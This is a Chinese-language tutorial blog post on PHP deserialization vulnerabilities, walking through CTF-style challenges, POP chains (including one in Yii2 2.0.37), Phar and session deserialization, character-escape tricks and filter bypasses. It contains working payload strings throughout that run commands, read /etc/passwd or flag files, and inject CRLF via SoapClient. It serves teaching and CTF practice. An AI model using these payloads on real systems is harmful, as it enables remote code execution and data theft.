
PHP反序列化漏洞总结

漏洞成因
开发者为了以某种存储形式使自定义对象持久化同时实现将对象从一个地方传递到另一个地方通常会在程序中引入序列化和反序列化两种操作。
但是如果程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,通过在参数中注入一些代码,从而达到代码执行、SQL 注入、目录遍历等不可控后果,危害较大。
反序列化漏洞造成的危害主要取决于类与对象可以实现的操作,本质上反序列化漏洞是由于反序列化位点过滤不严,导致攻击者可以控制特定对象实现其特定功能的一类操作过程。
如下代码:
1 |
|
evil
类中的析构函数__destruct
存在RCE利用点,而unserialize
反序列化位点没有进行合理的检测,导致可以控制反序列化过程,攻击者可以调用evil
类,从而触发类中的RCE操作。
Exp如下:
1 |
|
PHP基础
序列化
定义:利用 serialize()
函数将一个对象转换为字符串形式。
O
表示Object,即为序列化数据为一个对象;
6
代表类名长度,类名people共有六个字符串;
“people”
表示了类名;
2
代表成员数目,共有name、age两个成员;
s
表示String,即为字符串;
4
代表属性名长度;
“name”
表示成员名称;
s:4:“Jack”;
表示了成员内容(值);
s:3:“age”;
表示了一个名为age的成员;
i:20;
表示该成员值为整型20;
如果成员属性非public,反序列化之后的数据是有所改变的:
如下代码:
1 |
|
注意这里的name
成员被修饰为private
,而age
成员则被修饰为了protected
属性
执行这段代码我们可以得到:
注意:private
属性的成员名发生了改变 ,但是我们看到的peoplename
的长度并不等于12。
protected
属性的成员名也发生了改变,但是*age
的长度也不等于6。
如果我们对反序列化之后的数据进行一次URL编码就能找到原因,将上文的代码第7行修改为:
1 | echo urlencode(serialize($Jack)); |
这样我们就可以得到如下的结果:
protected
属性的成员在序列化后URL编码多出了两个空字节与一个星号
结构为:%00*%00成员名
长度为:1+1+1+3 = 6
空字节占用一个长度,在不进行URL编码的情况下空字节是不可见的
private
属性的成员序列化后在URL编码后可以看到多出了两个空字节,
结构为:%00类名%00成员名
长度为:1+6+1+4 = 12
反序列化
定义:利用 unserialize()
函数将一个序列化字符串还原为对象形式。
执行上方的代码我们就可以还原出people类的对象:
魔术方法
PHP中把以两个下划线__
开头的方法称为*魔术方法(Magic methods)*,这些方法在满足一定条件之后可以自动触发调用,而不需要人为调用,因此被称为魔术方法。
常见的魔术方法如下:
1 | __construct() 构造函数,在类被实例化为对象时自动调用 |
反序列化漏洞
简单的反序列化
Challenge1
简单的反序列化题目主要考察选手对于类与对象及反序列化的基础知识应用,通常难度为入门至简单。 如下的代码,直接给了一个evil类,其中的析构函数__destruct中含有一个RCE点,而析构函数会在一个对象生命周期结束时自动调用,因此只需要反序列化evil这个类,把其中的cmd成员值修改为我们要执行的命令即可。
Exp如下:
1 |
|
得到O:4:"evil":1:{s:3:"cmd";s:9:"cat /flag";}
Challenge2
不同于上一道题目,这个题目并没有自动调用的魔术方法,但是可以关注第七行代码的 unserialize($_GET['data'])();
这里是以函数的形式去调用了反序列化之后的data
数据,而这里涉及到的知识点就是方法的静态调用。
在PHP中我们可以通过 类名::方法名
的形式去静态调用类中的方法,换而言之就是我们可以在不创建类的对象的情况下去直接调用类的方法,在Java语言中我们需要给静态方法加上static
关键词来修饰。
Exp如下:
1 |
|
得到s:13:"evil::getflag";
POP链构造
如果看到这里你已经忘记了之前提到的常见魔术方法,请翻回去重温一遍!
Challenge3
在我们构造POP链时,通常以 __destruct
或 __wakeup
当作入口方法。
本题中,我们将A类的__destruct
方法当作入口点,A类的__destruct
方法会输出$this->str
如果我们将$this->str
设置为B类的一个对象,那么就会将B类的对象当作字符串输出,此时就满足了__toString
方法的调用情景,进而触发到B类的__toString方法
。
B类的__toString
方法又会以函数的形式调用$this->obj
的值,因此只需要将B类的$this->obj
设置为A类的对象就会去触发A类的__invoke
方法,从而获得flag。
POP链:
graph TD; A::__destruct-->B::__toString; B::__toString-->A::__invoke;
在明晰了POP链构造思路后,我们可以写出Exp:
1 |
|
将序列化数据以GET方式传递给pop参数即可获得Flag。
框架中的POP链
挖掘思路
本质上框架中的POP链也还是构造POP,从__destruct
或者是__wakeup
开始,不断在整个框架中寻找可以调用到的同名方法或者是魔术方法当作跳板,最终触发到某个不安全的方法中,只是相比于一般的CTF赛题代码审计量大了很多,但是耐心挖掘一下还是可以找到不少的。
但是框架中的POP链条严格意义上并不算是漏洞,任何POP链条的利用都需要依赖于反序列化位点的存在,如果没有可以利用的反序列化位点,那么POP链条也只是一条链子(当然也有部分开发者会认为POP链属于安全漏洞,甚至还可以给CNVD或者CVE证书的)
知名安全工具phpggc
中集成了大量框架的POP链条,项目地址如下:https://github.com/ambionics/phpggc
Challenge4
我们来看一下Yii2框架中的一条RCE POP链,从Yii官网下载一个Yii2.0.37版本的框架部署一下,然后创建controllers/TestController.php
文件。写入如下内容:
然后去调用控制器:http://localhost/index.php?r=test/test 即可触发反序列化位点。
这里的POP链条挖掘还是从__destruct
析构函数入手,全局搜索后选择vendor/yiisoft/yii2/db/BatchQueryResult.php
中的 BatchQueryResult
类的析构函数入手:
跟进本类的reset
方法:
$this->_dataReader
成员完全可控,因此直接去全局寻找close
方法,在vendor/guzzlehttp/psr7/src/FnStream.php
文件中发现了一个可以调用函数执行的close
方法:
$this->_fn_close
完全可控,实现任意函数调用,到这里已经可以执行phpinfo
了,不过我们继续来把危害扩大。利用这里的call_user_func
,我们直接去寻找含有危险函数的方法,例如eval
等。
在vendor/phpunit/phpunit/src/Framework/MockObject/MockTrait.php
文件中我们可以找到一个公有的generate
方法:
简单分析之后发现$this->mockName
与$this->classCode
均完全可控,可以实现RCE。
最终POP调用链如下:
graph TD; BatchQueryResult::__destruct-->BatchQueryResult::set; BatchQueryResult::set-->Stream::close; Stream::close-->MockTrait::generate;
Exp如下:
Phar反序列化
概念
phar文件解析存储的meta-data
信息以序列化方式存储,当文件操作函数通过phar伪协议解析的文件时就会将数据反序列化。
利用条件
- 文件上传点(用于上传Phar文件)
- 可用的POP链
- 可控的文件操作函数(触发phar反序列化),具体影响函数如下表:
实际意义
Phar反序列化拓展了PHP中反序列化的攻击面,反序列化漏洞不再局限在unserialize
函数中,而是可以通过文件上传与文件操作函数相结合而触发反序列化。
利用方法
下面我们来构建一个Demo去生成一个phar包文件,在生成phar文件前,我们需要修改php.ini的一个配置:
;phar.readonly=On
修改为 phar.readonly=Off
修改完毕后重启Web服务使配置生效,然后准备如下的PHP代码:
1 |
|
访问php文件后可以看到同目录下已经生成了phar文件,我们来分析一下Phar包的结构:
stub 一个供phar扩展用于识别的标志,必须以
__HALT_COMPILER();?>
来结尾。manifest 这部分会以序列化的形式存储用户自定义的meta-data,即为反序列化漏洞点。
contents 被压缩文件的内容。
signature 签名,放在文件末尾。
在分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。
那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
像是这样,我们可以在Phar包的stub头部分添加GIF文件头,需要注意的是生成时文件拓展名必须为phar。
在生成了Phar文件后,我们将其拓展名修改为gif,此时phar文件就被我们伪装成了gif文件:
下面我们来尝试触发一下phar反序列化。
也就是说,其实文件的拓展名不会影响phar反序列化的执行,因此在面对有白名单的上传点时,只要情景满足触发phar反序列化的条件,我们就可以去尝试Phar反序列化。
一些ByPass技巧
下面我们来看看限制情况下的Phar反序列化。
- 如果服务器对上传文件的内容有过滤,例如:
preg_match("/php/i",$contents)
。上文中我们提到过php识别phar文件是通过__HALT_COMPILER();?>
这段代码来触发的,因而设置stub头时去掉<?php
即可 - 如果依旧是对内容有过滤,但是此时为:
preg_match("/HALT_COMPILER/i",$contents)
。此时我们需要提到一个Trick,就是phar文件在进行gzip之类的压缩后仍然可以正常触发反序列化。
如上是正常情况下生成的Phar包文件,如果我们对其进行gzip
压缩,那么他会变成:
这样就绕过了内容的检测,但是其依旧可以正常触发Phar反序列化:
- 对上传文件大小有最低限制,例如限制文件大小必须大于2M,我们可以在Phar包压缩的文件中,填充垃圾数据:
Phar重签名
如果我们需要对Phar包中的序列化数据进行修改,例如绕过__wakeup
或者是FastDestuct,我们需要借助十六进制编辑器先对Phar包中的序列化数据进行修改(Phar包是一个二进制文件,如果直接修改可能会无意删掉一些不可见字符),修改完成序列化数据后需要使用以下脚本对Phar文件进行重签名,否则PHP会认为这是一个无效的Phar包,从而导致无法触发Phar反序列化,Phar签名的原理也非常简单,直接看代码即可:
1 | from hashlib import sha1 |
Fast Destruct
__destruct()
在对象生命周期结束后都会被触发,但是前提是必须得完成程序的开始与结束,但是如果程序执行了一半,突然报错退出,那么__destruct()
此时不会触发了,这个时候就需要用到Fast Destruct的方法。
概念
- 如果单独执行
unserialize
函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。 - 如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。
Fast Destruct就是为了解决第二种情况的。
本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct()
,提前触发反序列化链条。
以这段代码为例:
1 |
|
当我们直接尝试反序列化A类触发其析构方法时会出现这样的错误:
1 | Fatal error: Uncaught Exception: No! in /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 8 |
利用方法
方法一
修改序列化字符串的结构。这种方法在于使序列化数据存在问题,例如删除序列化数据中尾部的}
等,使其变成非法的序列化数据流,这样垃圾回收机制在反序列化时就会提前回收这个对象,从而实现Fast Destruct的方法。
例如上文中的那段代码,我们生成得到的序列化数据流为:
1 | O:1:"A":0:{} |
如果我们将其修改为:
1 | O:1:"A":0:{ |
就可以提前触发到析构函数了。
方法二
数组的空引用。例如我们正常序列化一个数组,其中第一个元素是我们的对象,第二个元素是Null
:
1 |
|
得到:
1 | a:2:{i:0;O:1:"A":0:{}i:1;N;} |
我们修改一下对象在数组中的下标:
1 | a:2:{i:1;O:1:"A":0:{}i:1;N;} |
这样也是可以提前触发析构函数的。
方法三
修改对象元素数量。这种方法有点类似于绕过__wakeup
的那个Payload,不过原理上还是非法的序列化数据流,还是上文的例子,我们得到的正常的序列化数据如下:
1 | O:1:"A":0:{} |
修改为:
1 | O:1:"A":2:{} |
拓展一句
值得一提的是,Fast Destruct不仅适用于触发__destruct
,其他的一些魔术方法也是可以利用这种方法提前触发的,大家可以自己探索一下。
Challenge5
看看以下这段代码:
1 |
|
前面是一个POP链条的构造,比较容易看出来,但是和常规的反序列化不同的是,本题的反序列化位点是这么写的:
1 | $o = unserialize($_GET['exp']); |
这里将反序列化的内容赋值给了$o
变量,然后通过Exception
抛出了一个异常导致程序突然中止,此时的反序列化对象由于变量赋值的原因还没有被PHP垃圾处理机制回收,因而就导致还没有触发到__destruct
程序就被终止了,因此这里需要Fast Destruct。
先来构造POP链,直接给出题目可以利用的链条:
graph TD; Reader::__wakeup-->Lua::__toString; Lua::__toString-->Json::__invoke; Json::__invoke-->Reader::__call; Reader::__call-->SQLi::bye; SQLi::bye-->Evil::backdoor;
然后来构造Exp:
1 |
|
得到:
O:6:"Reader":2:{s:4:"name";O:3:"Lua":1:{s:4:"hard";O:4:"Json":1:{s:6:"format";O:6:"Reader":2:{s:4:"name";N;s:3:"obj";O:4:"SQLi":2:{s:4:"func";s:8:"readfile";s:3:"var";s:5:"/flag";}}}}s:3:"obj";N;}
然后就是按照上面的方法触发FastDestruct即可:
O:6:"Reader":2:{s:4:"name";O:3:"Lua":1:{s:4:"hard";O:4:"Json":1:{s:6:"format";O:6:"Reader":2:{s:4:"name";N;s:3:"obj";O:4:"SQLi":2:{s:4:"func";s:8:"readfile";s:3:"var";s:5:"/flag";}}}}s:3:"obj";N;
原生类反序列化
XXE
SimpleXMLElement::__construct
利用版本:PHP 5、PHP 7
举例:
1
2
$x=new SimpleXMLElement("http://localhost/evil.xml",2,true);
目录遍历
Directory::read
利用版本:PHP 4、PHP 5、PHP 7
举例:
1
2
3
4
5
$dir = "/var/www/html";
$d = new Directory;
$d->resource = opendir($dir);
while(($c = $d->read($d->resource))){echo $c."\n";};DirectoryIterator::__toString
利用版本:PHP 5、PHP 7
举例:
1
2
3
4
5
6
7
8
9
// 可以使用glob协议来遍历,例如遍历一个拼接了md5数值的文件:
// $dir = "/var/www/html";
$dir = "glob:///var/www/html/flag[0-9a-zA-Z]*.php";
$d = new DirectoryIterator($dir);
while ($d->valid()){
echo $d."\n";
$d->next();
}FilesystemIterator::__toString
利用版本:PHP 5 >= 5.3.0、PHP 7
举例:
1
2
3
4
5
6
7
8
// 可以使用glob协议来遍历
$dir = "/var/www/html";
$d = new FilesystemIterator($dir);
while ($d->valid()){
echo $d."\n";
$d->next();
}GlobIterator::__toString
利用版本:PHP 5 >= 5.3.0、PHP 7
举例:
1
2
3
4
5
// 可以使用glob协议来遍历
foreach(new GlobIterator("./*") as $f){
echo $f."\n";
}
文件读取
SplFileObject::__toString
、SplFileInfo::__toString
、SplTempFileObject::__toString
利用版本:PHP 5、PHP 7
举例:
1
2
3
4
5
6
7$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
// 或者用伪协议base64直接输出,有时候有奇效
$context = new SplFileObject('php://filter/read=convert.base64-encode/resource=/etc/passwd');
echo $context;DOMDocument::loadHTMLFile
利用版本:PHP 5、PHP 7
举例:
1
2
3
4
5
6
$f="/etc/passwd";
$d=new DOMDocument();
$d->loadHTMLFile("php://filter/convert.base64-encode/resource=$f");
$d->loadXML($d->saveXML());
echo $d->getElementsByTagName("p")[0]->textContent;ZipArchive::getFromName
利用版本:PHP 5 >= 5.2.0、PHP 7、PECL zip >= 1.1.0
举例:
1
2
3
4
5
6
7
8
9
$f = "flag";
$zip=new ZipArchive();
$zip->open("a.zip", ZipArchive::CREATE);
$zip->addFile($f);
$zip->close();
$zip->open("a.zip");
echo $zip->getFromName($f);
$zip->close();
文件写入
SplFileObject::write
利用版本:PHP 5、PHP 7
举例:
1
2
3
$f = new SplFileObject('./file', "w");
$f->fwrite("file");DOMDocument::saveHtmlFile
利用版本:PHP 5、PHP 7
举例:
1
2
3
4
5
$f="./1.php";
$d=new DOMDocument();
$d->loadHTML("dGVzdA==");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");ZipArchive::setArchiveComment
(有损写文件)利用版本:PHP 5 >= 5.2.0、PHP 7、PECL zip >= 1.1.0
举例:
1
2
3
4
5
6
7
$f = "flag";
$zip=new ZipArchive();
$zip->open("a.zip", ZipArchive::CREATE);
$zip->setArchiveComment("<?php phpinfo();?>");
$zip->addFromString("file", "");
$zip->close();
XSS与hash绕过
Error::__toString
利用版本:PHP 7
举例:
1
2
3
4
$a = new Error("<script>alert('xss')</script>");
$exp = serialize($a);
echo unserialize($exp);Exception::__toString
利用版本:PHP 5、PHP 7
举例:
1
2
3
4
$a = new Exception("<script>alert('xss')</script>");
$exp = serialize($a);
echo unserialize($exp);
SSRF
SoapClient::__call
版本限制:PHP 5、PHP 7
举例:
- 发起HTTP/HTTPS请求
1
2
3
4
5
$obj = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
echo serialize($obj);
$soap = unserialize(serialize($obj));
$soap->aaa(); // 触发__call方法- CRLF注入进行请求走私(这里CRLF原理是一样的,可以夹带HTTP请求头或者是实现POST数据)
1
2
3
4
5
6
7
8
9
$a = new SoapClient(null, array(
'location' => 'http://TargetHost:8080',
'uri' =>'uri',
'user_agent'=>"111111\r\nCookie: Admin=Yes"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->aaa();
文件删除
ZipArchive::open
利用版本:PHP 5 >= 5.2.0、PHP 7、PECL zip >= 1.1.0
举例:
1
2
3
$a = new ZipArchive();
$a->open("file", ZipArchive::OVERWRITE);
SESSION反序列化
概念
什么是SESSION?
- Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。
SESSION和COOKIE的区别?
- Session是储存在服务端的,而Cookie则是储存在客户端的。(其实还有很多不同,这也是开发岗面试喜欢问的一个题目,不过这里我们知道这一点就足够继续学习后面的知识了)
SESSION是如何起作用的?
- 当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
php.ini中关于Session的一些配置:
1
2
3
4session.save_path="" 设置session的存储路径
session.save_handler="" 设定用户自定义存储函数
session.auto_start 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler 定义用来序列化/反序列化的处理器名字,默认使用phpPHP中Linux下常见的Session储存位置:
1
2
3
4
5/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
漏洞成因
注意上文中php.ini
中有一项session.serialize_handler
的配置,这个配置定义用来序列化/反序列化的处理器名字,常见的有php
、php_binary
、php_serialize
三种引擎。
- php:键名 +
|
+ 经过serialize
序列化处理的数据 - php_binary:键名长度对应的ASCII字符 + 键名 + 经过
serialize
序列化处理的数据 - php_serialize:经过
serialize
序列化处理的数据
在PHP代码中,我们可以通过以下代码来设置session储存的引擎:
1 | ini_set('session.serialize_handler', 'php'); |
我们本地起一个PHP环境可以看到这三种不同的引擎对应的Session的储存格式:
1 |
|
我们可以查看session文件(Docker环境下session文件会储存在/tmp/sess_PHPSESSID
下):
1 | // ini_set('session.serialize_handler', 'php'); |
而SESSION反序列化漏洞的成因就在于处理SESSION时使用的引擎不同,导致了SESSION反序列化漏洞的出现。
Challenge 6
例如我们有以下代码:
1 | // index.php |
1 | // evil.php |
然后我们先来生成一个Exp
类的序列化数据:
1 |
|
在将我们的session写入到文件中之前,我们需要在Payload前面加上一个|
,将其变成:
1 | |O:3:"Exp":1:{s:3:"cmd";s:6:"whoami";} |
因为用的是php
引擎,因此遇到|
时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对|
后的值进行反序列化处理,这也就是为什么代码中没有出现反序列化位点,但是仍然调用到了Exp
类的析构函数的原因,就是因为在解析session文件时对应的引擎进行了反序列化操作。
我们请求http://localhost/?test=|O:3:%22Exp%22:1:{s:3:%22cmd%22;s:6:%22whoami%22;}
然后现在我们的session文件内容如下:
1 | a:1:{s:4:"name";s:38:"|O:3:"Exp":1:{s:3:"cmd";s:6:"whoami";}";} |
实际上就是php
引擎把a:1:{s:4:"name";s:38:"
这一部分看作了键名,而O:3:"Exp":1:{s:3:"cmd";s:6:"whoami";}";}
这一部分看作了值,从而对我们的Payload进行了反序列化解析。
此时再去访问evil.php
就可以看到成功执行了whoami
Upload_Process
但是多数情况下SESSION的参数并不可控,这个时候需要引入PHP中的upload_process
这一机制。
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name 同名变量时,上传进度可以在$_SESSION 中获得。 当PHP检测到这种POST请求时,它会在$_SESSION 中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
来自:https://www.php.net/manual/zh/session.upload-progress.php
简而言之,就是我们可以通过带着SessionId去上传一个和session.upload_progress.name
同名的文件,就可以将上传文件中的filename
写入到session文件中,例如构造如下表单:
1 |
|
然后抓包:
注意将filename
修改为序列化数据,然后带着PHPSESSID
请求,还需要将序列化数据中的双引号加上反斜杠进行转义,这样也是可以将我们的序列化数据写入到session文件中的。
然而这种方法还需要关注session.upload_progress.cleanup
配置的选项,这个配置默认是开启的,开启这个选项后一旦PHP读取完毕所有POST数据,就会清除进度信息,也就是清除掉SESSION文件。如果该配置开启,则需要通过条件竞争来实现session反序列化。
字符逃逸
成因
本质就是因为进行了长度不对等的字符串替换,导致替换后的序列化数据长度变长或变短,从而我们可以构造序列化数据,实现序列化数据中某些参数值的篡改或吞并。
替换后变长
主要思路是通过第一个属性的长度变化来闭合第一个属性的值,然后插入任意序列化字节流实现属性值的覆盖。例如:
1 |
|
这段代码中我们可以控制$key
属性的值,但是无法控制$cmd
属性的值,不过我们可以通过waf
函数来实现字符串长度变长,从php
替换到hack!
字符长度增加2个,于是我们可以构造Payload来控制整个序列化字符串。
例如我们想要修改$cmd
属性为ls
,对应的序列化字符流就是";s:3:"cmd";s:2:"ls";}
,前面的引号是用来闭合上一个变量的,这段字符的长度为22
,一个php
可以逃逸出2
个字符的长度,因此构造11
个php
就可以将我们想要的字符全部逃逸出去。
Payload如下:
1 | phpphpphpphpphpphpphpphpphpphpphp";s:3:"cmd";s:2:"ls";} |
最终我们生成出来的序列化字节流如下:
1 | O:1:"A":2:{s:3:"key";s:55:"hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";} |
实际上";s:3:"cmd";s:6:"whoami";}
这一段已经被被PHP舍弃了,等同于我们覆盖了$cmd
属性的值。
需要注意的是如果我们想要把$cmd
修改为其他值,就需要重新计算逃逸的长度。
在比赛中我们可以通过以下的形式来进行调试:
1 | var_dump(waf(serialize(new A($_GET['key'])))); |
替换后变短
一般是两个参数可控,第一个参数用于字符减少吞掉序列化属性,第二个参数用于注入新的属性值。例如:
1 |
|
这里我们想要修改$cmd
的属性值,但是经过waf
函数替换,会将hacker
替换为funny
,减少了一个字符。借助上面的思路,我们可以利用$name
属性来缩短字符长度,然后吞掉$desp
的一部分字符,在$desp
再注入$cmd
参数的值。
我们先去构造$desp
中需要注入的Payload:
1 | ";s:3:"cmd";s:2:"ls";} |
序列化之后得到的是:
1 | s:4:"desp";s:22:"";s:3:"cmd";s:2:"ls";} |
我们想要留下的只有";s:3:"cmd";s:2:"ls";}
,因此前面的s:4:"desp";s:22:"
就是我们需要利用$name
字符缩减来吞掉的字符,共计19
个字符,每次替换会减少1
个字符,因此构造19
个hacker
来吞掉这段字符。
最终Payload:
1 | name=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker&desp=";s:3:"cmd";s:2:"ls";} |
构造出的反序列化数据实际上是这样的:
1 | {s:4:"name";s:114:"funnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunny";s:4:"desp";s:22:"";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";} |
Trick总结
绕过__wakeup(CVE-2016-7124)
版本限制(版本限制比较苛刻)
- PHP5 < 5.6.25
- PHP7 < 7.0.10
利用方法
- 表示属性个数的值大于真实属性个数会绕过
__wakeup
函数的执行。
- 表示属性个数的值大于真实属性个数会绕过
举例
正常获取到的序列化数据如下:
1
O:3:"Exp":1:{s:3:"cmd";s:6:"whoami";}
绕过
__wakeup
时则需要修改为:1
O:3:"Exp":2:{s:3:"cmd";s:6:"whoami";}
序列化数据正则绕过
例如题目有如下的正则检测:preg_match('/^O:\d+/')
可以在regex101进行正则测试:
这里对序列化数据进行了限制,要求不能直接反序列化对象,这里的绕过方法主要有两种。
数字前加
+
1
2O:+3:"Exp":2:{s:3:"cmd";s:6:"whoami";}
// 这里注意如果是GET方式请求的数据,需要将+ URL编码为 %2B序列化时以数组形式序列化:
1
2
3
4
5
6
class Exp{
public $cmd = "whoami";
}
echo serialize(array(new Exp));
// a:1:{i:0;O:3:"Exp":1:{s:3:"cmd";s:6:"whoami";}}
大写S十六进制编码
如果对某个必要参数名进行了正则过滤,例如对上文中O:3:"Exp":1:{s:3:"cmd";s:6:"whoami";}
的cmd
进行了过滤,我们可以通过大写S
,然后十六进制编码cmd
中的任意一个字符即可:
1 | O:3:"Exp":1:{S:3:"\63md";s:6:"whoami";} |
PHP 7.1+类属性不敏感
PHP 7.1以上版本对于类成员属性不敏感,例如
1 |
|
对于这个类,在PHP 7.1+的版本下,我们构造Exp时也可以用以下的方式构造:
1 |
|
拷贝
这里主要作用是可以将某个成员的值与另外一个成员的值保持一致。
__PHP_Incomplete_Class
当我们反序列化一个不存在的类时,我们得到的对象就会转换为__PHP_Incomplete_Class
这种形式,同时会将原始的类名储存在__PHP_Incomplete_Class_Name
属性中。
例如:
1 |
|
我们可以得到:
1 | object(__PHP_Incomplete_Class)#1 (2) { |
由于这个不存在的类名储存在__PHP_Incomplete_Class_Name
属性中,因此我们在对其进行序列化时,PHP会自动恢复这个类的相关信息并进行绑定,并不会出现__PHP_Incomplete_Class
这样的类名:
1 |
|
得到:
1 | string(38) "O:4:"Hack":1:{s:3:"cmd";s:6:"whoami";}" |
因此我们可以推断出,PHP是通过对类名进行检测,如果类名为__PHP_Incomplete_Class
就会去根据__PHP_Incomplete_Class_Name
寻找需要绑定的类。
那么如果我们遇到了如下的代码:
1 | serialize(unserialize($x)) != $x |
这个时候就可以利用这个特性来进行绕过:
1 | O:22:"__PHP_Incomplete_Class":1:{s:1:"a";O:7:"classes":0:{}} |
在这里我们将类名定义为__PHP_Incomplete_Class
,但是并没有注册__PHP_Incomplete_Class_Name
属性,无法找到与其对应绑定的类,因此序列化字节流中的其他属性就会被丢弃,最终得到如下的序列化字节流:
1 | O:22:"__PHP_Incomplete_Class":0:{} |
此时得到的字节流与原本的字节流并不相同,便可以通过这段代码的判断。
闭包函数的序列化
PHP5.3后引入了闭包函数的概念,我们可以声明一个匿名函数并将其进行赋值。
但是我们无法直接对闭包函数进行序列化,需要借助opis/closure
第三方组件来实现闭包函数的序列化。
__sleep触发的情景
PHP在SESSION执行反序列化时会调用对应类的__sleep
方法,可以去撕一下PHP的源码看看原因,还是非常容易看出来的。
参考链接
https://zhuanlan.zhihu.com/p/405838002
- 本文标题:PHP反序列化漏洞总结
- 本文作者:烨
- 创建时间:2023-03-11 20:00:00
- 本文链接:https://yesec.github.io/2023/03/11/PHP反序列化漏洞总结/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!